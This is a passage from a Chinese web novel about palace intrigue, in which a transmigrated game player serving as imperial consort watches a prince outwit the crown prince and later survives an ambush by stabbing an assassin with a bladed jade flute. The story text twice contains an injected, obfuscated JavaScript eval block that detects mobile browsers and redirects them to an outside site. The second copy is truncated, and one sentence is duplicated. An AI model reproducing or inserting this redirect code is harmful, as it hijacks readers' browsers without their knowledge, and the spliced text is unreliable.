他们也不直接拒绝,只推脱说如此大的资金量一时间难以周转,需要回去与家人商议。 齐思安端坐在主位上,面色愈发铁青。 殿下的这些人,无不是个个绫罗绸缎,腰缠万贯,可一张张堆笑的脸上却满是洗不掉的市侩气。 国之大计,社稷之本在他们的口中竟只是一桩需要商议的买卖。 他的心中涌起一股强烈的厌恶。 他乃是天潢贵胄,未来的储君,何曾想过,有朝一日竟要与这些满身铜臭的商贾同席,听他们用周转不灵这种可笑的借口来搪塞君父之忧。 让他放下尊严,去对这群锱铢必较的商人好言相劝,甚至许诺好处以换取他们所谓的慷慨? 他做不到。 这非是计策,而是赤裸裸的羞辱。 他宁可承担失败的后果,也绝不会向这些人屈服。 宴席草草结束,他的幕僚张先生在他身边低声说道:“殿下,这些商贾分明是墙头草,二殿下一定是给他们许诺了什么好处,这些商人便倒向了他那边。 为今之计,不如……不如暂且与二殿下合作?只要这运河项目的主导权还在您手里,日后还怕不能制衡他?” “合作?”齐思安冷笑出声,“本宫是太子,未来的君主,岂能与他为伍?他如今用这般手段去笼络这些商人,只能证明他们是一丘之貉,要本宫去向他低头,绝无可能!” 他是个何其高傲的人,在他眼中,齐思铭的手段不过是庶出,阴暗里的算计怎能比得过煌煌大道。 齐思安一连三日都没有去找齐思铭,更不可能去向那些商人服软。 他待在东宫,固执地等着,他觉得那些商人早晚会后悔,会想明白谁才是大胤朝未来的主人,然后主动上门来求他。 可惜,他等来的不是那些商人的悔悟,而是南北水运工程彻底停摆的消息。 没有资金注入,工期一拖再拖。 工地上那些等着工钱养家糊口的民夫们迟迟拿不到钱,一个个怨声载道,渐渐演变成了罢工,甚至还有的为了争抢最后一点口粮而聚众斗殴。 而这些消息,齐思铭自然是不会放过。 他派人将这些消息散播出去,没过几日便迅速传遍了京城的大街小巷。 一时间,关于太子“刚愎自用、不恤民情”的流言四起,甚至有孩童编了歌谣传唱,说太子心眼小,容不得人,是个斤斤计较的主。 太子的声誉口碑一落千丈。 这正是齐思铭想要的结果。 他早就料定,以齐思安的性格,是绝对不可能向那些“墙头草”低头的。 那日他对那些人的威逼利诱,从一开始就没指望那些人会对他死心塌地。 忠诚?对这群在利益场里打滚的人而言,是最不值钱的东西。 这些人天生逐利,永远会选择对自己最有利、风险最小的那一方。 他要的,从来都不是他们的心,而是他们的选择罢了。 他给了他们一个更诱人的诱饵,也笃定了齐思安那份可悲的骄傲,会让他连伸手争抢的姿态都懒得做出。 他布下一张网,猎物自己撞了上来,而那个高傲的猎人,却连猎物为何逃跑都看不明白。 太子想将此事瞒下来,可工期却瞒不住,民怨更是瞒不住。 翠儿将外面打探来的消息一五一十地禀报完,连那首孩童编的歌谣都学得有模有样。 歌谣…… 这手段,可比在朝堂上直接参太子一本要狠多了。 朝臣的弹劾是刀,民众的口碑是水。 刀能伤人,水却能覆舟。 高玥的脑海中,不由自主地浮现出了齐思铭那张永远带着三分笑意的脸。 谁能想到,那样一双清雅的眼眸背后,竟藏着如此精密的算计和对人性的精准洞察。 他甚至算准了太子这么做会引发民怨,再顺水推舟,将这股怨气化作利刃,彻底刺穿太子“仁德”的外衣。 高玥轻轻放下茶盏,看着空空的殿中陷入沉思。 齐思铭此人,当真是个操纵人心的高手。 翠儿往前凑了两步,小心翼翼地看了一眼旁边,这才继续说道,“娘娘,还有一事……” 她凑到高玥耳边,“奴婢还打听到,皇上为了这南北运河工程停摆的事,在御书房里发了好大好大的火。” 她似乎想形容那火气有多大,却找不到合适的词,最后只能急急地说:“听说……听说把他最心爱的那只天青釉茶杯都给砸了!” “听说当时里头‘哐当’一声脆响,吓得外面所有当值的人魂儿都飞了。那可是汝窑出的雨过天青色,贡品里都挑不出几件的宝贝!皇上平日里拿在手里,眼珠子似的宝贝着呢!就这么……” 翠儿做了个往下猛力一摔的手势,咂了咂舌,后怕地缩了缩脖子。 天青釉茶杯…… 她当然知道那只茶杯。 色如青天,温润如玉,是皇帝心爱之物,这砸的哪里是茶杯,分明是砸在太子脸上的耳光。 翠儿顿了顿,见自家娘娘没有半分不耐,反而听得认真,又往前半步,声音压得更低,几乎成了耳语,神秘兮兮地补充道: “不过太子殿下也是个硬骨头,听说皇上罚他跪在殿外一夜,连皇后娘娘派人去送吃的,都被皇上拦下了,说是不准任何人求情。” 高玥端起茶杯,轻轻吹了吹浮沫,眼帘微抬:“那皇上可有召见王爷?” 翠儿脸上立刻露出钦佩之色,连连点头:“娘娘您怎么知道的?没错!王爷一早就被传召进宫了,奴婢回来的时候,人还没从御书房出来呢。” 高玥闻言,悬着的心总算放下,唇角逸出一抹浅笑:“那这件事,总算是尘埃落定了。” 看来,是时候去祝贺一下齐思铭了。 她想起那个在万花楼里,用一枚玉佩就搅动风云的男人。 那天晚上,就连她都以为棋至中盘,胜负已分,可这盘棋,竟又被他硬生生地翻了回来。 高玥起身走到内室,轻轻打开一个上了锁的箱子。 箱内静静躺着一块完整的玉石,通体纯黑,在幽暗的光线下,隐隐透出一丝血样的暗红。 这是极为罕见的墨玉,还是带着血沁的极品。 “翠儿,找京城最好的玉匠,把这块玉石打磨成一支玉笛。” “娘娘!”翠儿看了一眼箱子中装的东西,心疼得直抽气,“这么顶级的玉石,打成笛子……也太可惜了!” 高玥将箱子合上,声音里带着雨过天晴的平静:“钱财,生不带来,死不带去。在它还有价值的时候,让它发挥出最大的价值,才是正理。” 她想起了那个清冷的院落里,齐思铭孑然一身的落寞神情。 “他收到以后,应该会高兴的吧。” 吩咐完翠儿,高玥又觉得仅仅送个礼不够,她决定亲自去向齐思铭道贺。 她换了一身素雅的宫装,算好了时辰,便往齐思铭住的方向走去。 远远地,便看到齐思铭一袭白色长袍,从御书房缓步走出。 他眉眼舒展,唇边还带着淡淡的笑意,显然心情极好。 高玥正准备上前,余光却瞥见一个鬼鬼祟祟的身影,正往东宫的方向溜去。 是苏泠。 高玥心念一动,停下脚步,转而悄悄跟了上去。 东宫门口的小厮见到高玥,刚要行礼出声,就被她一个“嘘”的手势制止了,他们立刻噤声,不敢再有动作。 只见苏泠熟门熟路地绕到太子寝殿的侧门,轻轻一推闪身进去。 高玥躲在廊柱后,心中了然:“看这熟悉的程度,怕是来了不止一次了。” 她悄无声息地靠近寝殿,躲在窗外,隐约能听到屋里传来压抑的啜泣声。 随后,苏泠那温柔的声音断断续续地传来。 “殿下……您又何必与皇上硬扛呢,顺着他的意不就好了……” “还痛吗?皇后娘娘也真是的,您膝盖都伤成这样了,怎么也不派个懂事的宫人来给您膝盖垫一垫……” 接着便是太子低沉的安慰声与苏泠的啜泣声交织在一起。 高玥静静地听着,心中五味杂陈,竟生出几分奇异的感慨。 这真是天大的讽刺。 在她之前所在的那个游戏中,苏泠是世界的中心,是所有光环的宠儿,是天命所归的女主角。 她只要微微一笑,蹙一蹙眉,无论是眼前的太子齐思安,还是其他的男主,都会将世间最好的东西悉数捧到她面前。 她何曾需要像现在这样,在一个失落的男人面前放低姿态,小心翼翼地给予安慰? 剥离了那层耀眼的主角光环,原来苏泠也不过是个会为情所困的普通女子。 “如果皇后知道自己的宝贝儿子跟一个宫女搞在了一起,她又会怎么想?” 高玥的脑海中浮现出了皇后那张愤怒的脸,摇了摇头,没有进去打扰他们,而是转身默默地离开了东宫。 刚走出东宫,高玥便撞上了一堵温热的“墙”。 她抬头,正对上齐思铭那双深不见底的眼。 他的寝殿与东宫并不顺路,没想到会在这里看到他。 但高玥没有问他为何在此,只是咧开嘴,努力挤出一个灿烂的笑容:“王爷,恭喜。” 齐思铭的目光在她脸上停留片刻,似乎在打量着什么,随后语气平淡:“不是真心想笑,就不要勉强自己笑出来。” “不是的,不是的,”高玥连忙摆手,“我是真心祝贺你的,只是……” 她终究还是没忍住,把刚刚在东宫看到的那一幕告诉了齐思铭。 “我觉得会不会有一种可能。”高玥看向齐思铭,内心生出了一个大胆的猜想,“其实太子根本就不想管南北运河这件事,这是你父皇想让他建功立业。” 却没想到齐思铭听完并不惊讶,只是缓缓说道:“这不难理解。万花楼的舞姬在台上光彩夺目,可你想过没,这个世界上,总会有偏爱做台下那个静静欣赏舞姬的看客。” 高玥没想到齐思铭会这么说,顿时一愣。 是啊,有人渴望成为万众瞩目的焦点,自然就有人甘愿隐于幕后。 太子或许根本没有争雄之心,他只是被身份推着走,做一个安逸的看客,才是他真正想要的。 齐思铭就那么站在她面前,一言不发,静静地看着面前的人,从微蹙的眉头,到因思索而轻轻抿起的唇,再到此刻豁然开朗的清亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315861|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸,他都尽收眼底。 被他看得有些不自在,高玥这才回过神来,抬头撞进他那双仿佛能洞悉一切的眼睛里。 被他看得有些不自在,高玥这才回过神来,抬头撞进他那双仿佛能洞悉一切的眼睛里。 “你怎么不说话?” 高玥若有所思,沉默了好一会儿,才抬头看他,认真地说:“看来,你还是喜欢万花楼的舞姬。” 齐思铭:“……” 南北运河之事就此尘埃落定。 由于前期的延误,工期也变得异常紧张。 皇帝最终下旨,派齐思铭即刻启程,亲自前往河北督办运河事宜。 临行前夜,高玥辗转反侧,心中竟生出怅惘。 她披衣起身,不知不觉又走到了齐思铭的住处。 月色如水,清冷的院中,齐思铭竟也没睡,正独自一人坐在石桌旁,对月饮酒。 看到高玥来了,他脸上没有半分意外,只是抬手,将桌上另一只干净的酒杯斟满,推到她面前。 高玥在他对面坐下,两人一时无话,只有清冽的酒香与晚风中桂花的香气交织。 “人生在世,总有些事身不由己。”高玥举起酒杯,看着杯中晃动的月影,轻声说,“我们总以为自己是执棋人,殊不知,或许我们都只是棋盘上的棋子,被一只看不见的手推着走。” 齐思铭没有说话,只是静静地听着。 高玥又饮下一杯,眼眸在月光下显得格外明亮:“我有一个朋友,她其实很想做天上最耀眼的太阳,光芒万丈,普照万物。可她好像生来就是一枚月亮,只能借着别人的光,才能在黑夜里发出一点点微弱的光亮。” 她顿了顿,将杯中酒一饮而尽。 齐思铭终于开口,声音在夜色中显得格外低沉:“那她后来呢?” “后来,”高玥的嘴角勾起一抹弧度,“后来她发现,就算改变不了故事的结局,她也可以选择用自己喜欢的方式,去走完这段路。至少,可以让自己不那么难受。” 齐思铭举杯邀月,一饮而尽,任凭酒液的辛辣在喉间蔓延。 ““我还记得有人曾对我说过,月之光华,亦可引动潮汐。”他放下酒杯,目光深邃。“日月经天,盈亏有时。白日虽明,亦有不见之时。” 他转过头,凝视着高玥,语气低沉而富有磁性:“光芒源于何处,并不重要。重要的是,能否在需要之时,驱散黑暗,指引方向。即使是借来的光,亦能照亮人心。” 两人碰杯,一饮而尽。 酒意上涌,氛围也变得有些微醺。 高玥借着醉意,撑着下巴看他,眼神迷离:“我想再听你吹一曲。” 齐思铭看着她,没有拒绝。 他拿起那支总是带在身边的玉笛,横于唇边。 笛声响起,不似万花楼那晚的剑拔弩张,也不似他独处时的孤高清冷,今夜的笛声,婉转悠扬,带着月下的朦胧,酒后的微醺,还有一丝不易察觉的缠绵与不舍。 笛声在静谧的庭院里流淌,穿过花木,拂过水面,最后悄悄潜入高玥的心底。 她听着那笛声,看着月下那个吹笛的男人,或许是她醉了,她好似觉得今夜齐思铭的侧脸在月光下柔和得不可思议。 一种陌生的情绪,在悄然破土而出。 第二日清晨,高玥在一阵鸟鸣声中醒来,发现自己安稳地睡在寝殿的床上。 翠儿端着水盆进来,看到她醒了,神神秘秘地凑过来,压低声音道:“娘娘,您昨晚……” “我昨晚怎么了?”高玥揉着有些发胀的额角。 “是二殿下把您抱回来的,”翠儿的眼睛眨了眨,满是兴奋,“快天亮的时候才走呢。” 高玥心中一动,脸上却不动声色,只淡淡地问:“是吗?我怎么一点印象都没有了。” 翠儿捂嘴偷笑:“奴婢昨晚想进去伺候,王爷还不让呢,说娘娘睡得沉,不让人打扰。” 高玥听着,心尖像是被羽毛轻轻扫过一般,她垂下眼帘,若无其事地梳着头发,漫不经心地说道,“许是怕我酒后失言,把他的秘密都给说了出去。他那个人,心思重得很。” “可奴婢瞧着不像呢。”翠儿一边为她拧干了热毛巾,一边小声嘀咕道,“王爷走的时候,还特意嘱咐奴婢,说娘娘您醉后会头疼,让小厨房一早就备下了醒酒汤呢。” “而且呀,王爷看您的眼神……啧啧,奴婢说不好,反正不是平日里那副冷冷的样子。” “就你话多。”高玥用毛巾敷着脸,脑中清醒了许多,脑子里也不自觉地浮现出了齐思铭那双冷冷的眼睛。 她轻哼了一声,“谁要跟那种活阎王暧昧不清。” 话音刚落,一个冰冷的机械音,毫无预兆地在她脑中响起。 【系统任务发布:河北即将在五日后发生决堤,请玩家利用好该剧情,完成任务。】 “玩家”、“剧情”、“完成任务”…… 这几个字眼,像一盆冰水,从头浇下。 高玥脸上的红晕瞬间褪去,人也清醒了大半。 是啊,她差点忘了,这只是一个游戏,而她只是一个玩家罢了。 时间过的久了,她差一点就真的把自己当成这个世界里的玥贵妃了。 更重要的是……河北决堤? 齐思铭去的地方,不就是河北吗! 14. 黄河决堤埋杀机 自接到那个前往河北的任务,高玥的心就悬了起来。 可是她被困在这四方宫墙之内,别说去河北,就连偶尔出宫都是提心吊胆,速去速回。 皇后本就对她不满,如果此时再被皇后抓住了把柄,那到时候想要完成任务将会更加的困难,更何况皇后的眼线无处不在,让她处处受限,动弹不得。 她的眼前,那块只有她能看得到的蓝色光屏正悬浮在半空中,上面红色的数字此时对于她而言,就像是一个催命的符咒,一秒一秒的跳动。 【任务倒计时:71:36:09】 09…… 08…… 07…… 河北……决堤…… 这几个字就像是两座大山,沉甸甸地压在她的心头。 烦躁,像一团野火在她心底越烧越旺,几乎快要将她吞噬。 高玥心头烦闷,在殿内来回踱步。 这日午后,她信步走到御花园想去散心,正巧看见柳妃和她的宫女苏泠在湖边的一棵垂柳下逗弄她那波斯猫。 那猫儿慵懒地翻着身,任由柳妃用一根狗尾巴草撩拨。 高玥出神地看着这一幕,一个计划的雏形在脑中悄然勾勒成型。 她调整了脸上的表情,恢复了惯有的妩媚,摇曳生姿地走了过去。 “柳妃真是好兴致,这猫儿可比宫里某些人有趣多了。”高玥的声音娇媚,带着若有似无的慵懒。 柳妃抚摸猫儿的手一顿,抬眼看到来的人,皮笑肉不笑地应道:“玥贵妃说笑了,这深宫寂寞,总得找些乐子打发时日。” 高玥随意找了个凳子坐下,状似无意地叹了口气:“说起来,还是齐王爷有魄力。这开凿南北水运可是利国利民的大工程,如今他在河北干得风生水起,听说那儿的百姓都对他赞不绝口。反观太子殿下……” 高玥顿了顿,继续说道,“虽在京中监国,可这天大的功劳,却眼睁睁地看着旁落了。” 她仔细观察着柳妃的神情变化,继续添柴加火:“长此以往,圣心难测。 要知道,父子君臣,最怕的就是功高盖主。可若这功劳都是别人的,那这储君之位,怕也坐得不那么安稳了。日后在朝堂之上,太子殿下怕不是要处处看齐王爷的脸色行事了。” 柳妃的脸色果然沉了下去,但她毕竟在宫中沉浮多年,嘴上还是不肯落下风:“玥贵妃慎言。这朝堂之事,岂是我等后宫妇人可以议论的?这话要是传到皇上耳朵里,一个后宫干政的罪名,你我都担待不起!” 高玥轻笑了一声,“姐姐怕什么?” 她一边说着,一边观察着柳妃的神情,“你我不过是闲聊家常,说的也都是满朝文武心知肚明的事情,怎么就成干政了?想必姐姐也知道,皇上常常会与我说起朝堂上的趣闻,难道我还要捂着耳朵不听不成?” 高玥这番话,听在柳妃耳朵里,明着是解释,暗地里却是在炫耀自己圣眷正浓,连朝堂之事皇上都愿说与她听。 柳妃的脸色更加难看了几分,“即便如此,也该谨言慎行!” “我说的有那句话是虚言?”高玥淡淡地说道,“齐王爷在河北治水,那是泼天的功劳。太子殿下在京城监国,明面上听着好听,可说白了,不就是守着家,看着外人在外头建功立业吗?” 高玥抬起头,声音小了一些,“你我身在后宫,太子殿下若是安稳,届时你我都高枕无忧……” “可我听说那齐王爷,可不似看上去那般温润,若是日后他……”高玥欲言又止。 “那咱们还有好日子过吗?” “你大胆!”柳妃猛地站起身,指着高玥骂道,“如此非议储君,诅咒东宫!你别以为得了几日圣宠,就能无法无天!” 高玥也跟着站了起来,向前凑了一步,“我无法无天?我只是替姐姐你着急罢了。不过,姐姐既然觉得我是在胡言乱语,可千万别去皇后娘娘那里告我一状啊。” 高玥说完,默不作声地又瞥了一眼柳妃身后的苏泠,那张温顺的小脸上,此刻果然写满了忧虑与思索。 柳妃的怒火,不过是意料之中,她真正的目的,是站在柳妃身后的苏泠。 柳妃虽身居妃位,心思却浅,三言两语便能让她顷刻间方寸大乱,但苏泠不同。 从前几次的接触中,高玥基本已经可以确定她对太子的情愫,她又怎么可能容忍旁人,尤其是齐思铭那个外人,夺走她心中完美无瑕的太子哥哥的功绩? 高玥心中微笑,鱼饵已经抛下,剩下的就等鱼儿自己上钩了。 果然,待高玥走后,苏泠便怯生生地凑到柳如烟身边,小声劝道:“娘娘,奴婢觉得……玥贵妃的话,虽有些危言耸听,却也不无道理。” 柳如烟烦躁地将狗尾巴草扔在地上:“她能懂什么朝堂大事。” “娘娘息怒,”苏泠连忙跪下。 “奴婢只是为您着想。您想想看,太子殿下是皇后嫡出,是未来的天子。但若是齐王爷此次真的立下不世之功,太子的地位必然受到动摇。太子若是不好,皇后娘娘心里能舒坦吗?皇后娘娘不舒坦,咱们……咱们的日子也不会好过。” 柳如烟冷笑一声,重新坐回石凳上,拿起丝帕慢条斯理地擦了擦手。 “你就是太多虑了。”她的语气淡淡的,仿佛在说一件无关紧要的事情,“那齐思铭,纵然有几分聪明,可那也毕竟是个阉人。没了那玩意,再怎么折腾,都成不了气候。” 话是这么说没错,可苏泠听着,却愈发的不安。 她抬起头,眼中闪着与她柔弱外表不符的清明:“可若是咱们能提醒皇后娘娘,助太子一臂之力,那日后太子登基,他感念您的好,皇后娘娘也会高看您一眼。到那时,您在这后宫之中,还不是要风得风,要雨得雨?” 、 这句话,倒是真的说到了柳妃的心里。 如今这种不上不下的境地最是尴尬,若是真的能攀上太子,何愁不能稳固这后宫之位? 柳妃沉默了许久,终于下定决心:“你说的对,走,咱们去凤仪宫瞧瞧。” …… 凤仪宫内,皇后斜倚在罗汉床上,那张素日里端庄威仪的脸上此刻阴云密布。 地上是一片碎裂的白玉瓷片,显然是刚刚被摔了个粉碎。 赵嬷嬷小心翼翼地低声道:“娘娘息怒,为那等腌臜货色气坏了凤体,可不值当。” “息怒?本宫如何息怒!”皇后声音冰冷。 “一个身子不全的都能在河北搅弄风雨!如今满朝文武都在夸他有经世之才,这让太子的脸面往哪儿搁?让本宫的脸面往哪儿搁!” 河北的捷报一封接着一封传回京城,每一封都像是一记响亮的耳光,狠狠抽在她的脸上。 齐思铭的声望越高,就越衬得她那监国的儿子平庸无能。 就在这时,一个小太监迈着碎步,悄无声息地进来,跪地禀报:“启禀皇后娘娘,柳妃娘娘在外求见。” 皇后紧锁的眉头皱得更深,眼中闪过一丝不耐:“柳妃?她来做什么?本宫现在可没心情看她那些争风吃醋的把戏。” “罢了,让她进来吧。本宫倒要看看,她能说出什么花儿来。” 柳妃一进殿,便行了个大礼:“臣妾给皇后娘娘请安。臣妾今日听闻了一些流言,心中实在不安,特来向娘娘禀报。” 她将高玥那番话添油加醋地学了一遍,末了还“情真意切”地补充道:“臣妾人微言轻,但事关太子殿下,不敢不报,臣妾实在是为太子殿下担忧啊!” “砰!”皇后将手中新换的茶盏再一次摔了个粉碎。“好个玥贵妃!好个齐思铭!一个在后宫搬弄是非,一个在朝堂上揽权夺功,真当本宫和太子是死的吗!” 赵嬷嬷连忙上前为她顺气:“娘娘息怒,为这等人生气,伤了凤体可不值当。” 皇后深吸一口气,眼神却更加狠厉:“本宫知道,思安就是性子太仁厚,才会被齐思铭那种人处处压制,可我们不能坐以待毙。” “还有那个玥贵妃。本宫原只是当她是个凭借脸蛋得宠的狐媚子,没想到,手竟然也敢伸到朝中来,在背后搬弄是非,还敢妄议太子,真是好大的胆子!” 赵嬷嬷见状,不慌不忙地从宫人手中又接过一杯参茶,递到皇后身边,“娘娘,您消消气,为了这等上不得台面的东西气坏了身子,岂不是遂了他们的意?老奴倒是有个法子,不知当讲不当讲。” 她看向赵嬷嬷,“你有什么法子?” 赵嬷嬷凑到皇后耳边,低声耳语了许久,她的脸色才由阴转晴,最后露出了满意的笑容。 不出三日,宫中便来了一位仙风道骨的道士。 此人自称云游四方,夜观天象,发现河北方向有祥瑞之气冲天,他掐指一算,那祥瑞正应在开凿水运之地,说是河床深处有千年金鲤现世,乃是龙脉化身,预示着大胤国运昌隆。 这道士说得有板有眼,还拿出了一幅模糊的画卷,上面隐约可见金色鳞光在浑浊的河水中闪现。 皇帝本就对南北水运之事极为上心,听闻有此等祥瑞,龙心大悦。 道士又说,此等祥瑞需有皇室血脉亲往祭拜,方能显其真容,固我国本。 皇帝当即便要亲自前往。 皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇后的脸上终于露出了一丝笑容,“本宫自然知道。只是此事需得做的干净利落,切不可留下任何把柄。” 赵嬷嬷立刻应声道,“娘娘放心,一切都已安排妥当,保证万无一失。只是……” 她犹豫了一下,还是说道,“太子殿下那边,是否需要知会一声?” 皇后摆了摆手,眼中闪过一丝复杂的情绪,“不必。” “思安宅心仁厚,这种腌臜事,何必去污了他的耳朵。” …… 于是,一支看似轻车简从,实则各怀鬼胎的队伍,便浩浩荡荡地向河北出发了。 途中阴雨绵绵,车马行进得极为缓慢,一行人便在半路的行宫歇脚。 入夜,高玥刚换下湿衣,房门便被轻轻敲响。 翠儿前去开门,只见门外站着一个身披蓑衣的陌生男子。 那人摘下斗笠,对着高玥躬身行礼。 “玥贵妃,王爷得知您前来,心中甚是挂念。但此地人多眼杂,王爷恐有不便,特派小的来接您。王爷说,有关于此次祥瑞的要事相商。” 齐思铭? 高玥琢磨着这句话的真假,但那人说得有理有据,语气恭敬。 齐思铭何其多疑谨慎,他绝不会用这种方式派人来接她。 但她面上不动声色,反而露出一丝喜色,仿佛真的以为是情郎派人来接。 “真的?王爷有心了。”她故作娇羞地对翠儿说,“快,为我更衣,可别让王爷等急了。” 她知道这是个陷阱,但此刻这正是她摆脱皇后眼线的好机会,她决定将计就计。 高玥跟着那人,骑马走上了一条泥泞的林间小路。 不知走了多久,高玥突然勒住马,对那几名“护卫”说道:“本宫有些内急,你们在此等候,不许跟过来。” 她贵妃的身份摆在那,那几人对视一眼,也不敢违逆,只得停在原地。 高玥提着裙摆,快步走进漆黑的树林深处,借着树木的掩护,辨明方向,准备悄悄溜走。 然而,她低估了对方的警觉。 她刚跑出没多远,身后便传来一声厉喝:“她要跑!抓住她!” 话音未落,旁边原本漆黑的草丛中,猛地冲出几个手持大刀的壮汉,衣着打扮与寻常土匪无异。 他们二话不说,举刀就向高玥砍来。 高玥头皮发麻,她拼尽全力,在林地里疯狂奔逃,冰冷的雨水和泥浆溅了她一身,但这是她唯一的机会,此刻她早已顾不上什么狼狈。 就在她体力耗尽,准备停下喘息的片刻,山林下方突然传来无数惊恐的呼救声。 “不好啦!决堤啦!大家快跑啊!” 决堤? 不是说要三日后吗?怎么提前了? 高玥的心脏猛地一沉。 就在她失神的瞬间,脚下的大地突然开始剧烈震动,耳边传来山石滚落的轰鸣。 她惊恐地回头,只见身后的山体,在暴雨的冲刷下,正以一种摧枯拉朽之势,轰然崩塌…… 15. 血夜生死劫 齐思铭收到行宫那边传来的消息时,正在府中与手下商议黄河决堤的抢救之事。 河北灾情比预想的严重,需要调配更多的粮草和人手,他正专注地在舆图上标记救灾要点,张才匆忙进来禀报:"王爷,有急信。" 当听到高玥偷偷跑出行宫但现在下落不明时,齐思铭握着奏折的手瞬间僵住,那张素来波澜不惊的脸上闪过一丝紧张,随即变得阴沉如暴风雨前的天空。 "什么时候的事?"他的声音压得极低。 "回王爷,已经有两个时辰了。"张才小心翼翼地回答。 “派人去找了吗?” 张才犹豫了一下,没有出声。这次陛下他们是微服私访,并未带太多的人手,所以才会紧急传信给齐思铭。 齐思铭猛地站起身,手中的茶盏重重落在案几上,在场的所有人都能感受到他身上散发出的寒意,此刻他们连大气都不敢出一声。 齐思铭闭了闭眼,随后冷声吩咐。 “原计划不变,王友,你立刻带三千人马,携带所有冲车木桩,必须在三日内加固西岸大堤,若有延误,提头来见!” “户部那边,”他头也不回地对另一名幕僚道,“传我的话,再调拨五十万石粮食,三日内必须起运。” 一连串的命令从他口中有条不紊地发出,清晰、果决,没有丝毫因私人情绪而带来的混乱。 众将领和幕僚领命,不敢有片刻耽搁,匆匆行礼后便疾步退出,整个书房瞬间空旷下来,只剩下齐思铭和张才。 “她往哪个方向去了?行宫的人都是死人吗!” “王爷息怒,”张才从未见过齐思铭如此眼中充满杀意的样子,连忙说道,“娘娘似乎是往东边的密林去了……陛下的人手不足,不敢声张,才……” “备马!”齐思铭声音沙哑,“点一队骁骑卫,我亲自去找她!” …… 而另一边,高玥正在山林中狼狈地奔逃。 刚才的山体滑坡来得太突然,她的宫服早已被荆棘划破,脸上也被树枝擦伤,但她不敢停下脚步。 不知跑了多久,高玥气喘吁吁地靠在一棵大树上。 就在她以为安全时,一个阴森的笑声从身后响起。 "找了你半天,没想到你竟然自己送上门来了。" 高玥猛地回头,看到一个满脸横肉的大汉正恶狠狠地盯着她。 这是刚才那伙劫匪中的一个,看样子是在山体滑坡中与同伙走散了。 "别过来!"高玥慌忙后退。 大汉狞笑着拔出腰间的弯刀:"小美人,模样长得倒是俊俏,只可惜你得罪了不该得罪的人。" 刀锋在夕阳下闪着寒光,大汉一步步逼近。 高玥的心跳的飞快,大脑在一瞬间变得空白,又在下一秒被无限放大的恐惧填满。 这不是游戏里可以读档重来的剧情,那把弯刀是真实的,刀锋上还依稀可见未干的血迹,散发着一股铁锈与血腥混合的恶臭。 “得罪了不该得罪的人……” 皇后?太子?还是哪个在暗中窥伺的势力? 无数张脸在她脑海中飞速闪过,却又抓不住一个确切的答案。 但现在想这些已经没有意义了。 她的视线疯狂地扫视着周围,每一根垂下的藤蔓,每一块凸起的石头,都可能成为救命的稻草,或是……最后的武器。 她的手不自觉地摸向怀中,那里有一支精致的玉笛。 那是她特意准备送给齐思铭的礼物。 "去死吧!"大汉挥刀向高玥的脖子砍来。 就在这千钧一发的瞬间,高玥闭上眼睛,从怀中掏出玉笛,用尽全身力气往大汉的脖子上扎去。 这支玉笛是她寻遍能工巧匠,为齐思铭量身定做的贺礼。 其精巧之处,远胜他之前所持的那支,她本想当面送给他一个惊喜,却未曾想,这支玉笛竟在如此绝境下,成了自己唯一的生机。 只听“咔哒”一声,在巨大的冲击力下,那藏于笛身之中的玄机被瞬间触发。 一截薄如蝉翼、锋锐无匹的短剑自笛口猛然弹出,深深刺入了那个大汉的咽喉! 大汉脸上狰狞的笑容僵住了,取而代之的是极致的错愕与不可思议。 他低头,只能看到一截温润的玉管贴着自己的喉咙,鲜血从伤口汩汩流出,染红了高玥的手。 "扑通"一声,大汉重重倒在地上,再无声息。 高玥颤抖着看着手中的玉笛,温热的血液顺着她的手指一滴一滴地落在地上。 那支本该奏出美妙乐声的笛子,如今却成了夺命的凶器。 她想起制作这支笛子时的用心,想起准备送给齐思铭时的欢喜,心中涌起一阵巨大的悲伤。 "呕……"高玥再也控制不住,趴在一旁干呕起来。 她从未杀过人,哪怕在游戏世界中也是如此。 温热的眼泪不受控制地滑落,与脸上的尘土和血污混在一起,划出两道狼狈的痕迹。 “啊……”一声压抑到极致的呜咽从她喉间挤出,她感觉自己快要疯了。 不行,不能疯。 现在不是矫情的时候。 她狠狠地抬起手,用尽全身的力气,将指甲深深掐进自己的手臂。 尖锐的刺痛传来,那是一种真实到极致的痛感,她必须冷静下来,必须!这里是危机四伏的荒山,不是可以让她放声痛哭的地方。 高玥用袖子擦去嘴角的污秽。此刻的她只有一个念头。 活下去,一定要活下去,为了齐思铭,也为了她自己。 凭借着最后一丝信念,高玥踉踉跄跄地走向齐思铭的府邸。 她的脚步越来越沉重,眼前也开始发黑,当她终于走到府门前时,整个人都快要支撑不住了。 "咚咚咚"高玥用尽最后的力气敲响了门环。 守门的小厮听到声音,不耐烦地打开门:"谁啊,这么晚了......" 话还没说完,就被眼前的景象吓得说不出话来。 一个浑身是血的女子站在门前,衣衫褴褛,头发凌乱,脸上还有泥土和血痕。 如果不是那张脸依稀可辨,小厮几乎要以为是女鬼上门了。 "快……快去叫王爷……"高玥虚弱地说道。 小厮这才反应过来,连忙喊道:"来人啊!快去禀报王爷,玥贵妃娘娘回来了!" 齐思铭正在院中整装待发,听到消息如闪电般冲了出来。 那双向来深不见底的眸子,在看清月光下那个摇摇欲坠的身影时,骤然掀起了滔天巨浪。 是她。 她身上那件他熟悉的宫装已经破碎不堪,被暗红与泥土染得看不出原色。 尤其是她身上那大片大片的血迹,刺得齐思铭的眼睛生疼。 他没有再多说一个字,一个箭步冲上前,稳稳地将她接入怀中。 “封府!”齐思铭的声音低沉得可怕,像从地狱深处传来一般,“传太医!今夜之事,若有半个字传出去……” 他没有说完,但那双充斥着杀意的目光扫过在场的每一个人,所有人都瞬间明白了他未尽之言的含义。 